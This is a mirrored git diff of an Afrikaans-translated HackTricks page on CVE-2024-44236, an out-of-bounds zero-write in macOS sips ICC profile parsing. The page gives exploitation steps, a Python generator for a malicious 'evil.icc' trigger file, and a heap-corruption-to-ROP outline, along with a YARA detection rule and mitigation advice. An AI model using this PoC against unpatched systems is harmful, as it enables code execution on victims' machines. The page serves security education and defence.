mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
0ce02c0f24
commit
562235d8be
@ -4,50 +4,94 @@
|
||||
|
||||
## Oorsig
|
||||
|
||||
'n Uit-die-grense skryf kwesbaarheid in Apple macOS Scriptable Image Processing System (`sips`) ICC profiel parser (macOS 15.0.1, sips-307) as gevolg van onvanpaste validasie van die `offsetToCLUT` veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. 'n Gemaakte ICC-lêer kan nul-skrywe tot 16 bytes oor die heap buffer aktiveer, wat heap metadata of funksie wysers korrupteer en willekeurige kode-uitvoering moontlik maak (CVE-2024-44236).
|
||||
'n Uit-die-grense **zero-write** kwesbaarheid in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profiel parser (macOS 15.0.1, `sips-307`) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die `offsetToCLUT` veld van die `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. As aanvallers `offsetToCLUT == tagDataSize` stel, verwyder die parser **16 bytes oor die einde van die heap buffer**. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n **arbitrary-write-to-exec** ketting oplewer (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.
|
||||
|
||||
## Kwetsbare Kode
|
||||
|
||||
Die kwesbare funksie lees en stel 16 bytes nul vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||
buffer[i] = 0; // no bounds check vs allocated size!
|
||||
}
|
||||
```
|
||||
Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offsetToCLUT == tagDataSize` in te stel, indeks die lus tot 16 bytes na die einde van `buffer`, wat aangrensende heap metadata korrupteer.
|
||||
|
||||
## Exploitasiestappe
|
||||
|
||||
1. **Skep 'n kwaadwillige `.icc` profiel:**
|
||||
- Bou die ICC-kop (128 bytes) met handtekening `acsp` en 'n enkele `lutAToBType` of `lutBToAType` tag-invoer.
|
||||
- Stel in die tag-tabel `offsetToCLUT` gelyk aan die tag se `size` (`tagDataSize`).
|
||||
- Plaas aanvaller-beheerde data onmiddellik na die tag data blok om heap metadata te oorskryf.
|
||||
2. **Trigger parsing:**
|
||||
1. **Skep 'n kwaadwillige `.icc` profiel**
|
||||
|
||||
* Stel 'n minimale ICC-kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by.
|
||||
* Konfigureer die etiket tabel sodat die **`offsetToCLUT` gelyk is aan die etiketgrootte** (`tagDataSize`).
|
||||
* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul-skrywings oorvleuel met die allokator metadata.
|
||||
|
||||
2. **Trigger parsing met enige sips operasie wat die profiel raak**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
# verifikasiepaaie (geen uitvoerfile benodig nie)
|
||||
sips --verifyColor evil.icc
|
||||
# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering te bereik in die konteks van die `sips` proses.
|
||||
3. **Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP**
|
||||
Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, verwoes die 16 nul-skrywings `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde wysiger in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable wysiger wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
|
||||
|
||||
### Vinning PoC generator (Python 3)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
|
||||
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||
profile = HDR
|
||||
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||
|
||||
mab = bytearray(52) # tag payload (52 bytes)
|
||||
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||
profile += mab
|
||||
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### YARA opsporingsreël
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
meta:
|
||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||
author = "HackTricks"
|
||||
strings:
|
||||
$magic = { 61 63 73 70 } // 'acsp'
|
||||
$mab = { 6D 41 42 20 } // 'mAB '
|
||||
$mba = { 6D 42 41 20 } // 'mBA '
|
||||
condition:
|
||||
$magic at 0 and
|
||||
for any i in (0 .. 10): // up to 10 tags
|
||||
(
|
||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
)
|
||||
}
|
||||
```
|
||||
## Impak
|
||||
|
||||
Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met gebruikersprivilege op macOS-stelsels wat die kwesbare `sips` nut gebruik.
|
||||
Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand **arbitraire kode-uitvoering** in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word.
|
||||
|
||||
## Opsporing
|
||||
## Opsporing & Versagting
|
||||
|
||||
- Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Ondersoek oorgedra lêers met handtekening `acsp`.
|
||||
- Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`.
|
||||
- Merk as verdag indien hierdie voorwaarde nagekom word.
|
||||
* **Patches!** Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
|
||||
* Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
|
||||
* Verwyder of saniteer ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original <file>` voordat verdere verwerking op onbetroubare lêers plaasvind.
|
||||
* Versterk Preview/QuickLook deur dit binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
|
||||
* Vir DFIR, soek na onlangse uitvoering van `sips --verifyColor` of `ColorSync` biblioteeklaai deur gesandboksde toepassings in die verenigde log.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Afstandelike Kode-uitvoering Kwesbaarheid in Apple macOS sips Nut
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf)
|
||||
https://support.apple.com/en-us/121564
|
||||
* Trend Micro Zero Day Initiative advies ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user